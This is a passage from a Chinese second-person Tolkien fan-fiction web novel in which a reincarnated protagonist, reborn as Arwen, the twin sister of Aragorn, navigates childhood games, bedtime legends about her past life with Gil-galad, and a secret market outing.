耳边传来熟悉的语言,“夫人……这是一对双生子,而且还是异性双生子。” 好吧,看来你又变成婴儿了,好消息是你能听懂周围人的语言终于不用再重新学一遍语言了,坏消息就是你这次还有一位双生子哥哥。 真麻烦……你在心里嘟哝一声。 一位老妇人将你抱起,然后放到另外一个女人的怀里,你的直觉告诉你,对方不是别人,正是你的母亲,你缓慢地眨了一下眼睛,听见周围人称呼她为吉尔蕾恩夫人。 看来这位名叫吉尔蕾恩的女人就是你的母亲了,后来你又捕捉到一阵脚步声,还没等你转过头你就听见来者的声音,那是一道男声,他说:“吉尔蕾恩……我的好妻子,辛苦你了。” 就跟上一个副本一样,你的父亲姗姗来迟,不同于贡多的金发蓝眼,这位名叫阿拉松的男人有着一头微微卷曲的黑发,双眼则是浅淡的蓝色,远没有到湛蓝色的程度。 你对阿拉松不感兴趣,比起他,你还是更想看看你那位双生子哥哥长什么样。 于是你转动脑袋,四处寻找你的双生子哥哥,终于在你的斜后方找到了他,不巧的是,你才看了他一眼,他就开始嚎啕大哭。 啊……婴儿的哭泣声真是尖锐刺耳,你忍不住想要皱起眉(虽然这个时候的你都还没有长出像样的眉毛),但由此看来你与这位双生子哥哥,后来被命名为阿拉贡的孩子初次见面,并不算多愉快。 你们的父亲阿拉松对于突然拥有了两个孩子感到非常喜悦,他将大儿子取名为阿拉贡,至于你则是取名为亚玟,这和你上一个副本的人类名字有着共通之处,也不知道这是有意的还是巧合。 但总的来说,你的新生活也正式开始,唯一让你感到庆幸的是这一次你终于没有了的debuff,这代表什么呢?这意味着你总算是不用喝一些苦涩难闻的奇奇怪怪的药水了。 而且拥有强健体魄的感觉不要太好,在你四五岁的时候,你就可以在城堡的后山上漫山遍野地跑过去再跑过来,精力十足,活力充沛,跑上那么好几圈,顶多就是出一身汗,根本不会感觉到任何不适。 这也使得你那一段时间的心情都很不错,就算是遇到你的哥哥阿拉贡你也能陪着他一起玩追逐游戏。 “这次是你来追我,还是我来追你?”阿拉贡问道,你们的长相有六七分的相似,尤其是那一头微微卷曲的黑发,唯一不同的可能是你的双眼的蓝色比他的眼睛更深一点。 阿拉贡比你还要好动,几乎每天都要在后山跑上好几圈才能消停下来,你在后山跑步是为了锻炼身体,而他在后山撒开脚丫子跑来跑去,单纯就是为了好玩。 “上次是谁追的谁?”你问道。 阿拉贡抿着嘴唇陷入思考,“应该是你追的我吧?” 他都在说什么呀,你追他的次数屈指可数,因为你觉得和小孩子玩追逐游戏实在是太幼稚了,谁让你的灵魂是个成年人呢,而且还是经历过衰老与死亡的成年人。 “真的吗?我怎么觉得你在骗人呢?”你说着,单手叉腰。 阿拉贡心虚地移开视线,过了几秒他才诚实回答,“好吧,确实是我骗了你,那是因为你好像不是很想和我一起玩,如果不那么说的话,我觉得你都不会回答我的问题。” 有时候小孩子对于周围人的态度非常敏感,他们能够敏锐地察觉出谁喜欢他,谁又不喜欢他,而你的,他却不那么确定,因为你好像没有那么讨厌他,但也没有那么喜欢他。 可是在他的认知中,连带着周围人也都会说他与你既然是双生子,那就应该是最亲密无间的。 就连他也是这么认为的,是啊,毕竟你们曾一同待在母亲的肚子里,这难道还不算亲密无间吗? 只是你有时候对他没有那么多的耐心,其他人是怎么形容你的来着……对,好像是早熟,可为什么你会早熟呢? 早熟这种形容词就像是在形容水果的,在成熟过后随之而来的就是衰败与腐烂,他不希望这样的事情发生在你身上。 如果让你老实回答的话,那么阿拉贡与格林相比较,还是前者更加讨喜一些,因为阿拉贡不会自顾自地把自己的想法强加在你身上,而且也不存在所谓的一定要保护你这一说,他更多的是将你视为与自己相似的主体,这或许是因为你们是一对双生子。 这也使得你对他的态度没有对格林的那么差劲,你说:“我没有不愿意搭理你,我只是问问你这次应该谁追谁而已。” 阿拉贡如释重负地笑了起来,他说:“那这次就由我来追你吧!” 他这话说的,你们玩这个追逐游戏十次里面有九次都是他来追你,他也早已习惯了追逐你的背影。 阿拉贡宣布游戏开始你就先一步朝着远方跑去,身后飘来阿拉贡的呼喊声,“你怎么提前偷跑呀——!” 你的笑声欢畅,“兵不厌诈,阿拉贡,你还有的学呢!” 第62章 第62章“你怎么一直在偷偷看我…… 由于你先抢跑 了,与阿拉贡拉开了一段距离,而且你跑起来的速度也与他不相上下,所以跑到最后阿拉贡也没能追到你,还是你主动停下脚步,他才跑到你的身边。 “这次你怎么抢跑呀?” “我都说了的,兵不厌诈嘛。” 有时候你的嘴巴里就会冒出很多,他不怎么能听懂的话,虽然他一下子没办法听懂,但是他的记性很好,他会选择记下来,然后找机会询问你们的专属教师。 这一场追逐游戏下来,无论是你还是阿拉贡,脸颊都变得红彤彤的,你伸出手擦了一把汗,现在时间也不早了,站在后山的山坡上,眺望远方,能够瞧见点缀在天边的火红晚霞。 “你在看什么?”阿拉贡又往你身边走了几步,因为你实在是太早熟了,所以有时候其他人都会把你当成他的姐姐,但无论怎么说,按照来到这个世界的时间来算,他是比你年长一点的哥哥才对。 四五岁的小孩子就喜欢争论谁大谁小这个问题,因此,在其他人半开玩笑的说你更像是姐姐的时候,阿拉贡会跳起来反驳道:“她是我的妹妹!” 而其他人看到阿拉贡那么激动的样子,都会忍俊不禁,毕竟这个王城里的人都知道你是他的妹妹,他们也只是为了逗他玩才这么说的。 可阿拉贡几乎每次都会上当,每次都要向他们重申一遍你是他的妹妹。 话题好像跑远了,总而言之,他尽可能地在你面前表现出成熟的样子,当然,他所设想的和他表现出来的存在一些差距。 你回答道:“在看远方的晚霞。” 阿拉贡顺着你手指的方向看去,他记得你们的专属教师还特意教过你们用比喻的手法来形容天边的晚霞,那具体内容是什么,他思索了一下,很快就想起来了,他说:“就像约克先生跟我们讲过的内容,天边的晚霞就像是燃烧到一半的火焰。” 他还记得这个句子啊,你的记性也不差,被他这么一题你也想起来了,你们的老师在课上还教过你们如何造句,其中就提到了关于晚霞的造句,让你们使用比喻的手法来形容晚霞,他给出的例句就是用火焰来形容。 阿拉贡造的句子是用碾碎的花瓣汁水来形容渲染开的晚霞。 至于你呢,你说,晚霞像是白日死去后缓慢流淌出来的黏稠鲜血。 阿拉贡还在惊讶于你的造句能力有多强,却没有察觉到你们的专属老师听到这个句子微微皱起眉头的样子。 “我听说在南方还有一个精灵国度,那是名叫纳国斯隆德的地方,那你曾有一位精灵与人类君主成婚,在爱人死去之后一直守护着她的国土。”这种掺杂着爱情与勇气的故事在时间的洗礼下就会变得那么遥远,然后被无数人口口相传,最后就变成了传说。 “是吗。”身为这个传说当事人之一的你反应很平静。 “是啊,无论后来又发生了怎样的波折,那精灵始终守护着那片土地,就像是在遵守对爱人许下的誓言。” 你收回目光,对这个话题兴致缺缺,你转移话题地说:“现在时间不早了,我也应该回去了。” 阿拉贡都没有意识到你在转移话题,他顺着你的话头说:“好吧,我们也该回去了,下一次我一定会追到你的!” 他怎么还在想着下一次追逐游戏的事情啊?果然还只是个小孩子。 你们并肩同行,一同回到城堡内,你们回去的时间刚刚好,因为你们的母亲吉尔蕾恩正打算去寻找你们,见到你们回来了,她叫你们从头到尾打量一遍,欣慰地说:“还好你们这次没有弄得脏兮兮的,走吧,可以享用晚餐了。” 说着,吉尔蕾恩一手牵着你另外一只手牵着阿拉贡,她行走在你们中间,阿拉贡兴奋地向她分享你们刚才的追逐游戏,尽管在你看看这个游戏幼稚极了,而且阿拉贡的语言描述也很简单,但吉尔蕾恩听得却很认真,听到一半她又转过头询问你,“亚玟真的是这样的吗?我怎么觉得阿拉贡好像说的有些夸张了呢?” 阿拉贡有些紧张地看向你生怕你戳穿他,但你沉默片刻却说:“事情就是像阿拉贡说的那样。” 闻言,阿拉贡不由得松了一口气,然后又笑着对你眨了眨眼睛像是在感谢你的不戳穿之恩,你只是撇了他一眼,你不戳穿它,仅仅是因为看在你现在心情还不错的份上,要是放在其他时候你可就不会那么友善了。 去往餐厅,你们的父亲阿拉松早已在那里等候多时,瞧见你们的到来,他的语调微微上扬,“嗯?怎么回事?今天我怎么没有见到那两只熟悉的小花猫呢?” 刚才还在和母亲吉尔蕾恩聊天的阿拉贡一听到父亲这么说,就兴冲冲地跑到他面前,“难道您认不出我们了吗?” 你慢悠悠地跟在他身后,只见阿拉松笑着揉乱阿拉贡的头发,他的头发本来就是带着一些自然卷的,现在这么一揉,真像只没有好好打理毛发的小狗。 “啊……让我想想,你应该是我的儿子阿拉贡吧?”阿拉松的性格比起你上一个副本的父亲贡多显得更加平易近人,而且还很喜欢开玩笑,看得出来阿拉贡深爱着他的父亲。 你站在一旁平静地注视着他们的互动,就如同旁外人一样,吉尔蕾恩抚摸你的头发,弯下腰在你耳边轻声说道:“亚玟你怎么不去你父亲那里呢?” 阿拉贡也在这时回过头来对你招招手,他的头发还是那么乱糟糟的,他一笑就变得眉眼弯弯,他说:“亚玟过来呀!” 就连你们的父亲阿拉松也对你说:“让我再好好瞧瞧另外一只小花猫吧。” 你慢吞吞地走到他们面前,阿拉松也揉了揉你的头发,但是力道没有对阿拉贡那么大,可能是因为害怕把你的头发弄乱吧。 “很好,既然人都到齐了,那就开始晚餐吧。” 或许是因为在这个时代没有魔苟斯的威胁,所以说即便周围还会有半兽人军队的进攻,但是显而易见的,现今的局势没有上一个副本那么严峻。 正是因为环境没有那么严峻,这就使得你在这一副本的家人相处可以用其乐融融来形容。 尽管你还是没办法融入其中。 晚餐的时候阿拉贡总有说不尽的话题,而你总是沉默的那一方,你听他说着那些有的没的,然后慢条斯理地用刀叉切割餐盘中的牛排。 等晚餐结束以后,你正打算回到自己的房间,只可惜另外一条小尾巴还是跟上了你,你说的那条小尾巴就是阿拉贡。 “你还有什么事情吗?”你再转到另外一条走廊的时候忍不住问道,如果不是你突然这么出声,阿拉贡还会以为自己隐藏得很好呢。 “你是怎么发现我的?我一直都在隐藏自己的身影。” 发现他有什么男的呢,毕竟怎么说你在上一个副本中也是经历过几场重大战役的人,如果连一个四五岁小孩的跟踪都没办法发现的话,那未免也太丢脸了吧? 阿拉贡再一次感叹你实在是太厉害了,居然能轻而易举地识破他的跟踪。 “你真厉害!” 这是什么值得夸奖的事情吗? 你转过头,“你还没有回答我的问题呢。” 哦,对,你刚才还问了他问题来着,他说:“我还想睡前和你说悄悄话呢,而且你不想听妈妈说睡前故事吗?” 抱歉,你实在是对睡前故事不感兴趣,尤其是阿拉贡对人类与精灵的爱情故事非常感兴趣,这就导致你听睡前故事往往能听到你过去与吉尔-加拉德的过往。 准确来说是各种添油加醋的过往,从你们的初次相遇开始就各种改编,甚至改变得你都有些不认识这个故事了。 可偏偏阿拉贡还听得津津有味,经常要求你们的母亲吉尔蕾恩多说一些这样的故事。 你得事先说明你对于小孩子听睡前故事没有任何的偏见,如果他们说的故事有趣一些,你也不介意多听一会儿,但是,大部分时候都在说关于精灵的故事,这就让 你有些烦躁了。 尤其是当阿拉贡询问吉尔蕾恩,“妈妈,他们既然如此相爱,那么在伊玟陛下死去的时候,他又该多么难过呢?” 而吉尔蕾恩回答道:“听说他不愿意将爱人的尸体湮灭于火海中,最后将她的遗体葬在多尔罗明的宫殿后,并且在那附近种下漫山遍野的花。” 听到这里,阿拉贡在感叹吉尔-加拉德的爱情是如此悲伤,而你则是躺在一旁沉默不语,心里想的是明明你都已经嘱咐吉尔-加拉德将你的尸体火化,他怎么就是不听话呢? “精灵不是会因为悲伤过度心碎而死吗?”阿拉贡从小就表现出对精灵的好奇与向往,或许是因为追根溯源到许多代以前他的直系血亲曾经是精灵的亲兄弟吧,这就使得他对精灵有着一种与生俱来的亲和力。 “是的,按理来说是这样,但是……凡事都有例外,而且吉尔-加拉德答应过他的爱人要守护她的国度。”当然,这个原因也无从考证,只是大家都是这么猜测的,就连其他精灵也是这么认为的。 因为你表现得实在是太安静了,以至于那个时候的吉尔蕾恩还有阿拉贡都以为你已经睡着了,吉尔蕾恩轻声对阿拉贡说:“你的妹妹好像睡着了,你小声一些。” 阿拉贡本来还想再多听一些故事的,但是没成想你居然睡着了,他就只能强忍着好奇心对母亲说:“那今天的睡前故事就到此为止吧,我不想打扰她睡觉。” 不过自那以后你就没在和阿拉贡一同听过睡前故事了,你对母亲吉尔蕾恩说:“比起睡前故事,我更希望自己安静地看一会儿书。” 吉尔蕾恩知道你是一个早熟的孩子,你的性格远没有你的哥哥阿拉贡那么活泼开朗。 而且你做出的决定,基本上其他人也无法改变,因此吉尔蕾恩就只好让你和阿拉贡分开房间睡觉,你也终于得以不用再听人类和精灵的爱情故事了,这故事简直就跟连续剧一样没完没了。 但是你这个决定阿拉贡,一时之间没办法接受,他总觉得你不在他身边会很不习惯,因为你们自从出生以来就形影不离,现在你却主动提出了分开,让他感到不解的同时还有些委屈,难道你就真的那么讨厌他吗?讨厌到想要和他直接分开吗? 他将这份悲伤倾诉给自己的母亲以及周围的侍女,甚至还包括你们的专属教师,他们纷纷给出各种各样的建议,但总结下来就是一句话:顺其自然。 阿拉贡不太能理解什么叫做顺其自然,难道是要眼睁睁地看着你与他渐行渐远吗? “如果你只是想要睡前安静地看一会儿书的话,我保证不会打扰你的。”阿拉贡小声地说,说话的时候,他的眼睛一直盯着地面,不敢去看你的脸,生怕在你的脸上找到什么拒绝的痕迹。 “但是阿拉贡你得明白一件事情,我们以后终究还是会分开的,所以现在只是为了日后的分开而做演练而已。” 你说得很平静,得要感谢上一个副本的你因为开创了女人成为国王的先例,所以在这个副本里,如果你想要成为王位继承者,也没有那么多的阻力,你是说如果和上一个副本相比较的话。 “但我现在还不想和你分开,不,就算是以后我也不想与你分开,为什么我们一定要分别呢?这又是谁规定的呢?”阿拉贡皱着眉问道,如果让他知道是谁制定了这条规定,他一定得要让对方好看。 “这不是谁规定的,这是人之常情。” 你怎么总是说一些他听不太明白的话语呢?他撇撇嘴,“虽然我听不太明白你在说什么,但是我可以保证,如果能与你不分别的话,我可以付出任何代价。” 这就是阿拉贡与格林的区别了,后者还会对王位有着一定的渴望,但前者就不是那么想的了,当然有可能是因为阿拉贡并不知道自己的真实身份,他还不知道自己是努曼诺尔人王室的后代,但你早就已经知道了,从各种细枝末节中,也是从藏书库的各种资料中找到了答案。 你们身为努曼诺尔人王室的后代,应当拥有北方王国阿尔诺以及南方王国刚铎的王位继承权,只不过北方的王国阿尔诺早就湮灭在历史的长河中,现存的只有处在南方的刚铎王国。 至于现在的阿拉贡,顶多以为自己的父亲就是北方一片领土的领主罢了,他丝毫不知道自己身上还肩负着什么使命,但你却很清楚。 “记住你现在说的话,你最好是能够说到做到,否则我会讨厌你的。”你说。 对一个小孩子来说,尤其是还只有四五岁的小孩,被自己的妹妹讨厌,可以说是一件大事,他连忙说:“我一定说到做到!” 见他回答得那么干脆利落,你这才松口:“那你稍等片刻,我去把我的枕头搬过来。” 阿拉贡登时抬起头,眼睛变得亮晶晶的,“真的吗?这实在是太好了!没关系,我可以帮你去把枕头搬过来,你还有什么东西也要搬过来的吗?哦,对了,还有你的书,我也可以帮你拿!” 瞧他那欢呼雀跃的样子,不知道的还以为是发生了什么大喜事呢。 结果就只是你同意搬回原来的房间,阿拉贡欢天喜地地把你的枕头搬回你的床上,照顾你们的保姆照例来帮你们洗漱,在洗漱的时候,保姆问道:“你们现在和好了吗?” 什么叫做你们现在和好了吗?在你的印象里你似乎没有和阿拉贡吵过架吧?因为完全吵不起来,但凡发生了什么冲突,他都会第一时间选择向你道歉,尽管他都不知道冲突的本质是什么。 这就导致你们从出生到现在基本上都没吵过架,所以你换新房间的事情在其他人看来就像是争吵过后的冷漠。 但小孩子之间的关系本来就是这样,这挺天好那天坏的,所以这种他们所预料的,没过多久,你们就又和好了。 “我们本来就没吵架。”你说,然后闭上眼睛,让保姆用毛巾擦拭你的脸颊,保姆的动作轻柔,就跟她的声音一样,她说:“是的,你们确实没有吵架。” 这话怎么听都像是在敷衍,算了,你也懒得和她多说些什么。 洗好脸,你又睁开眼睛,等洗漱结束以后,你回到房间里身上还穿着睡衣,那衣服洋溢着太阳晒过以后的香味。 阿拉贡坐在自己的床上,他的身边放着一盘拼图,这拼图还是你上次送给他的礼物,其实就是你手工课的作品而已,但是他却宝贝得很,平常都不怎么拿出来一直放在箱子里,只有担心这拼图要发霉的时候才会拿出来多晒一晒。 现在他居然把这拼图给拿出来了,而且还摆放在床上面,你好奇地问道,“今天你怎么舍得把这副拼图拿出来了?” “因为今天是个好日子,是我们和好的日子。”阿拉贡洗完以后烘干的头发蓬松柔顺,发尾还打着卷,让他看上去更像是一条可爱的小狗。 “和好的意思是发生冲突以后回归原来的关系,但据我所知,我们好像没有发生过冲突吧?” 你一边说着一边坐到自己的床上,阿拉贡还很贴心地把你要看的书放在你的床头柜上,你伸手拿过那本书,翻到自己上次看到的那一页。 “有的,只是冲突没有那么明显而已,但这样就能认为这不是冲突了吗?” 有时候阿拉贡说出来的话,让你觉得他也不像个小孩子。 “你忘了你之前答应我的事情吗?我在看书的时候你要保持安静的。” 闻言,阿拉贡乖巧地点了点头,然后看似认真地低头拼拼图,但是实际上视线时不时都往你这边飘。 你沉浸在书本的世界中,你这次看的书是和金属冶炼有关的书籍,从你上一个副本到现在这个副本时间跨度有几千年之久,在这几千年间,这个世界的金属锻造水平也随之发展,当然,无论怎么发展,也远不及你另外一个世界的工业水平。 你看这些纯粹是为了丰富自己的知识面,除了关于金属冶炼的书籍,你还从藏书库里拿了一本与多尔罗明有关的书籍,你倒也不是想要看后人是怎么评价你的,你主要是想要看看在你离开以后的多尔罗明发展得怎么样了。 但是还没等你翻看介绍多尔罗明的书籍,你就因为阿拉贡若有若无的目光而合上书,转过头:“你怎么一直在偷偷看我呢?” “你只是说让我保持安静而已,又没有说不能让我看你。”说着说着他还有些委屈呢。 好像无论怎么说都是他有道理,你盯着他看,看得他都有些不自 在了,“你刚才在看的书很有意思吗?” “嗯……勉强算有意思吧,但是我觉得你可能看不懂。” 阿拉贡不相信地跑到你身边趴在你的床边,你倒是很配合地打开书本,然后只见阿拉贡他盯着那几页纸看了许久,眼睛倒是眨个不停,最后他含糊不清地说:“那上面的字我倒是全都能认识,但是组合在一起又都是什么意思呢?” 你好笑地揉乱他的头发,阿拉贡没有丝毫拒绝的意思,而是任由你把他的头发揉得乱糟糟的,他还能笑得出来,“亚玟你都能看懂吗?” “差不多吧。” 阿拉贡在为你感到高兴的同时又觉得自己再这样下去,恐怕难以追上你的步伐,因此,从第二天开始,他就一门心思的追在老师身后问各种各样五花八门的问题。 那个老师不堪重负,他忍不住问道:“阿拉贡大人您怎么突然变得那么好学了?” “因为我不想与亚玟分别,如果我再这样下去只会被她甩开的。” 第63章 第63章你的思绪也飘回几千年前…… 说实话你并不算太讨厌阿拉贡,因为他的性格和格林比起来可以说是好了不止一点,而且或许是因为这次你们几乎是一同降生的,所以也不存在谁为谁而生的这一说,更重要的是,阿拉贡对你的各种行为都不会阻止,顶多就是好奇地凑过来希望你能带上他一起。 而你大部分时候都会看他可怜选择带上他,就比如说现在,你们正在城堡外的村镇里闲逛,补充一下,是在没有任何侍从的陪同下逛集市,你本来打算自己孤身一人来集市上逛一逛的,主要是你偶然之间发现如果去集市上很可能会遇到神秘商人,就跟其他游戏里经常出现的NPC一样,这商人会出售许多稀奇古怪的东西。 而且去集市也是你收集信息的重要来源。 但你在出门之前好巧不巧地撞上了阿拉贡,其实对他来说不算是巧合,因为他在午睡醒来以后就想着去找你,但是找了一圈都没找到你,你平常都是不怎么睡午觉的,他起初还以为你在藏书室,但是他跑到藏书室也没找到你的身影,他找你找得气喘吁吁的,当他停下来喘一口气的时候他的目光瞥见远处的影子,在他看来非常熟悉的影子。 因此他不假思索地朝着你的身影跑去,在你临走前赶上你的脚步,他根本不知道低调为何物,居然还在大声地呼唤你的名字,恨不得让所有人都知道你在这里,你立马回过头伸手捂住他的嘴巴,“你就不能安静一点吗?” 被你捂住嘴巴的阿拉贡没办法说话,只能有些委屈地对着你眨巴眨巴眼睛,你环视四周,确认他刚才的叫声没有引来其他人,你接着又对他说:“你能向我保证不大吼大叫吗?能做到的话就对我眨眨眼。” 阿拉贡从善如流地眨眨眼,见状,你这才松开手,阿拉贡虽然没有大声说话,但他的问题一个接着一个地就跟雨点似的落下,他问:“你怎么这身打扮?我以前都没见你穿过这种斗篷。”他说的斗篷是你为自己缝制的,你还没忘记上个副本的技能,在你学会的众多技能里就包括缝纫,缝制一件斗篷不算太难,难的是还得瞒着其他人,这直接导致你缝制这件斗篷的工期比你想象的还要久得多。 你今天也是第一次穿这件斗篷,阿拉贡一眼就认出自己先前没有见过这件斗篷,该说不说,他的记性真的很好。 除此之外他还有很多问题,他又问:“你要去哪里呢?为什么不带上我呢?等等——你该不会是要去城堡外吧?那你得要有侍从陪同才行。” 唉,他的话怎么这么多啊?你叹了一口气,直接从斗篷下抽出一把匕首,匕首的利刃泛着寒光,你说:“不需要侍从,有这个就行了。” 这把匕首阿拉贡也有一把,但他这把还放在房间里,这两把匕首当初就是以一对的形式打造出来的,然后送给身为双生子的你们,但阿拉贡平常很少见到你佩戴这把匕首,因此他还以为你不喜欢这把匕首呢,“这是……” “同样的匕首你也有一把,所以应该不用我来介绍了吧?”你说,然后又收回匕首,阿拉贡说:“那你究竟要去哪里呢?” “去外面看看,我听说今天外面有集市。”你把外出的原因说得很简单,阿拉贡一听当即表示自己也要和你一块去,他的语调欢快,“我也要和你一块去!” 你就知道告诉他自己外出的消息会换来这样的回答,现在拒绝已经来不及了,想要把他甩掉也更不可能,思考片刻,看来只能带上他了,但他这副打扮显然不适合外出,其他人一看就知道他非富即贵,因此你说:“我给你五分钟的时间换衣服,如果超出这个时间我就不等你了。” 还没等你的话音落下,他就一溜烟地从你面前跑走,你手里拿着怀表,你说只等他五分钟是真的,五分钟的时间一过你就走人,不会多等他一秒,而阿拉贡的速度也很快,在还剩下半分钟的时候他那急急忙忙的身影就跃入你的视野里。 “我准备好了!”阿拉贡学着你的样子穿上一件和你差不多的斗篷,伴随着他整理领口的动作,你隐约看见他腰间的匕首,他把和你一对的匕首也拿了出来佩戴在身上。 “我们就只是去集市看看而已。”你提醒道。 “我知道,但这对于我来说也是一次冒险。”而且还是和你一同的冒险,他决定今天晚上要把这个故事写在日记里,至于起个什么名字,他还没想好。 你们沿着小路离开城堡来到外面的城镇,你不是第一次来这里,轻车熟路地绕过街道,阿拉贡以前一直都生活在城堡里,很少出来,就算是出来那也是在其他侍从重重保护下,这还是他初次离开侍从的保护行走在城镇间。 相较之下你看起来就熟练多了,聪明的阿拉贡一下子就猜到你在此之前很可能已经独自出来过很多次了,他东张西望,偶尔转过头看看你,因为集市上的店铺太多,他一下子就看花了眼,甚至于差点就要被马车给撞到,还是你眼疾手快地把他往自己身边一带,马车的轮子碾过街道上的水坑,溅起一阵积水。 “走路小心一点,我可不想出来的时候是两个人,回去的时候就只剩下一个人了。” 阿拉贡还握着你的手,他是凭借这样的瞬间来确认你其实不讨厌他,而且实际上还很在意他的,他说:“对不起。” “这也不是你的错。”归根结底还是你今天外出的时候不够谨慎居然被他给发现了。 为了防止之前的事情发生,接下来的路途你都握着阿拉贡的手,又用零钱给他买了一串糖果,主要是为了堵住他的嘴巴,免得他继续问东问西的,但你的举动似乎被他误会了,他说:“亚玟,你不吃糖果吗?”他在想是不是你带的钱不够多,否则你为什么不给自己也买一串呢? “不想吃。”你又不是货真价实的小孩子,又怎么会喜欢吃糖呢,但是没成想阿拉贡 将那一串糖果从中间对半分开,然后把更多的那一份递给你,“这给你,如果你不吃,那我也不吃了。” 你接过那一半糖果,听着阿拉贡说:“亚玟你总是太喜欢关心别人而忘了自己。” 在阿拉贡眼里你是一个善解人意的妹妹,也不知道他如果知道你曾经试图杀死自己的亲弟弟他又会是什么反应呢?算了,反正这种事情他永远都不会知道的。 你咬了一口糖果,就是很普通的硬糖味道,算不上好吃,也算不上难吃,就像是你对阿拉贡的感情,算不上讨厌,也论不上喜欢。 你们手牵着手穿梭在集市里,可惜的是你今天没有遇到那位神秘的流浪商人,很有可能是因为你今天还带了阿拉贡出来,看样子只能等待下一次了。 发现你一直在集市上到处兜圈子,阿拉贡意识到你可能在寻找什么,他问:“你在找什么?” “没什么。”今天注定无功而返,你的心情肉眼可见地变得失落,在回去的路上阿拉贡一直都在试图用各种话题来调动你的情绪,但是你始终一副兴致缺缺的样子,到最后他忍不住问道:“你为什么会不开心呢?你不开心,那我也不开心。” “这两者之间有什么关系吗?”你问道,因为如果阿拉贡不开心,这对你不会有任何影响。 “他们说双生子之间的感情是互通的,所以如果你难过,我也很难开心起来。” 你真好奇他说“他们”到底是谁呢? 你盯着阿拉贡看了许久,发现他的唇角还沾着零星的糖果碎屑,样子有些好笑,你从口袋里拿出一块手帕,擦去他唇角的碎屑,“你嘴边还有糖果碎屑你都没发现吗?” 说着,你扯了扯嘴角,就好像笑了,你一笑,阿拉贡也跟着放松下来,他说:“你终于笑了。” “我平常很少笑吗?”你反问,把那条用过的手帕塞到他手里,后者的脚步都变得轻快许多,走起路来都是蹦蹦跳跳的,“不,但你平常很少对我笑,妈妈说那是因为你天生心智早熟,所以才不爱笑的,但没关系,我平常会多笑笑的。”就像是在弥补你的笑容。 你管他笑不笑呢,你漫不经心地应了一声,你们赶在太阳下山前回到城堡,沿着隐蔽的小路就要回到城堡后面的花园,但中途突然被你们的母亲吉尔蕾恩叫住,“你们怎么身上还穿着斗篷?” 阿拉贡显然不擅长说谎,尤其是对你们的母亲说谎,因此你握住他的手,凭借着你们之间源自双生子的默契,阿拉贡一下子就明白你的意思,他很识相地保持沉默,解释的部分由你来负责,你说:“我们在玩游戏。” “什么游戏呢?” “猜猜我是谁的游戏,我在想如果我们穿得差不多,其他人能不能认出我们来呢?”你和阿拉贡的长相和身形都很相似,而且玩这种游戏也很符合你们的年龄,吉尔蕾恩甚至还笑着问:“那其他人认出你们来了吗?” “暂时没有,要么是把阿拉贡认成我,又或者是把我当成阿拉贡,总之没有一个认出来的。” 吉尔蕾恩抚摸你的头发,“但没关系,我会认出你们的。” 接着吉尔蕾恩又说你们该去换一身衣服去吃晚餐了,你和阿拉贡并肩同行,你们的脚步匆匆,不多时就把母亲吉尔蕾恩甩在身后,阿拉贡用惊讶的声音问道:“你是怎么做到的?” 还好他知道你还没走远所以他克制着自己的声音,因此母亲吉尔蕾恩也没听见你们的对话,你说:“就是说谎而已,不难。” 才四五岁的阿拉贡很难理解你到底是怎么能做到说谎的时候脸不红心不跳的,根本没有任何露馅的痕迹,就好像是与生俱来的天赋。 “可我为什么不能做到呢?”你们可是双生子啊,他为什么做不到呢?你能做到那么多他做不到的事情,这偶尔也会给他带来些许挫败感。 “这说明你生来就是一个诚实的人,这也是一件好事。”你解开斗篷领口的扣子,直接把这件斗篷给摘了下来,阿拉贡听出这是你的夸奖,你很少那么夸奖他,他再次向你求证:“你这是在夸奖我对吗?” 在你的右手再次垂在身侧,阿拉贡又很自然而然地牵起你的手,态度亲昵。 “我也不可能专门说这些话来嘲讽你吧?”你说。 阿拉贡的笑容更加灿烂了,他回到自己的房间时还在哼着小调,那是你们前不久在音乐课上学习的歌曲,你不怎么喜欢上音乐课,原因也很简单,那就是你发现当初歌颂你与吉尔-加拉德的爱情的歌曲广为流传,甚至就这么流传了几千年,而关于你们的爱情的衍生作品也数不胜数经久不衰,你甚至上次还在逛集市的时候看到以此为主题的舞台剧,你就那么静静地站在台下看了一会,在看到吉尔-加拉德的扮演者带着你逃婚的时候你忍不住笑出声。 果然无论是什么故事流传了太久总归是会发生变化的,那场舞台剧里甚至还有吉尔-加拉德为了爱情与父亲欧洛德瑞斯发生冲突的剧情,据你所知,他的父亲可以说是很支持这段恋情的,当然,你觉得增加这一段完全是为了剧情冲突。 话说回来,你不喜欢上音乐课也是因为你们的音乐老师非常喜欢这段爱情故事的歌谣,除此之外还有贝伦与露西恩的故事,反正人类就是那么喜欢具有悲剧色彩的故事,正是因为这份悲剧色彩才使得故事具有缺憾的地方,由此也有了别人铭记的理由。 你曾听音乐老师唱起那首熟悉的歌谣,你的思绪也飘回几千年前,回到某个夜晚,躺在你身边的吉尔-加拉德轻轻地哼唱着这首歌。 第64章 第64章你只是一个旁观者而已,…… 因此听到阿拉贡唱起这首歌的时候你不免愣了一下,你停下脚步站在房间门口,阿拉贡见你没有跟上来,他奇怪地回过头,“怎么了?” “别唱那首歌了。” 阿拉贡刚才唱歌都是无意识的,这也不能怪他,谁让你们的音乐老师那么喜欢这首歌呢,而且他昨天在单人课堂上还听老师说起多尔罗明的历史,在种种因素的影响下,这才使得他下意识地哼唱着那首歌谣。 “吵到你了吗?”阿拉贡正准备向你道歉,但你的回答比他的道歉先一步说出口,你说:“那倒没有,只是觉得这首歌似乎夸大了他们的爱情。”你自认为自己对吉尔-加拉德的感情算不上多感天动地,和贝伦与露西恩一比较就看出差别,但世人却始终认为这是一段可歌可泣的爱情。 阿拉贡走到房间里,他不那么觉得,他说:“无论是伊玟还是吉尔-加拉德我都认为他们很勇敢,贝伦与露西恩也是。” “但真正的感情是并不纯粹的,也许还掺杂着别的东西。”你也走进房间,侍女已经为你们准备好另外两套衣服,你和阿拉贡的衣服基本上都是差不多的款式,颜色还有材质都一模一样,你换上那一身香槟色的衣衫,自己低头调整腰带,然后站在全身镜前,阿拉贡衣服换得差不多了也跑到你身边,他的差不多其实在你看来还差很多。 就比如说他的衣领不怎么整齐,腰带也是,头发也是乱糟糟的,他只有两只手,一时之间来不及整理那么多的地方,你看他那副手忙脚乱的样子就觉得头疼,你说:“好了,不要乱动,转向我。” 他听话照做,将身体转向你,你把他的领口整理一遍,还有腰带,至于头发,你也无从下手,果断选择放弃,留给他让他自己收拾吧。 阿拉贡对着镜子整理自己的头发, 